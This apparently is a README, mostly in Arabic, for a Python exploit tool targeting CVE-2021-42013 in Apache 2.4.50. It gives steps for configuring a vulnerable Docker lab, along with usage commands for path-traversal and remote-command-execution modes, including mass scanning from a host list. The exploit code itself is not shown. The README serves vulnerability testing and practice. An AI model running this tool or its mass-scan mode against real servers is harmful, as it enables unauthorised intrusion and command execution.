bananoname/cve-2021-42013سكربت Python لاكتشاف واستغلال اجتياز المسار وتنفيذ التعليمات البرمجية عن بُعد في Apache 2.4.50 (CVE-2021-42013)، مع فحص جماعي ومختبر Docker للممارسة.
نص بايثون CVE-2021-42013.py يساعد في اكتشاف ثغرة تجاوز المسار أو تنفيذ الأوامر عن بُعد في أباتشي 2.4.50. تم توفير نسخة ضعيفة من Docker لاختبار ثغرة CVE-2021-42013
إذا كان CGI-BIN مفعّلاً، يمكننا تنفيذ الأوامر عن بُعد لكن ليس تجاوز المسار، لذلك تمت إضافة مجلد "icons" في قسم Alias في ملف httpd.conf لفحص ثغرة تجاوز المسار.
1. Enable CGI-BIN
2. Add "icons" directory in Alias section
3. <Directory>Require all granted</Directory>
$ docker build -t cve-2021-42013 .
$ docker run -it cve-2021-42013
$ python3 cve-2021-42013.py -u http://172.17.0.2
$ python3 cve-2021-42013.py -u http://172.17.0.2 -pt
$ python3 cve-2021-42013.py -u http://172.17.0.2 -rce
$ python3 cve-2021-42013.py -l list.txt
$ python3 cve-2021-42013.py -l list.txt -pt
$ python3 cve-2021-42013.py -l list.txt -rce
يمكن العثور على مزيد من المعلومات هنا.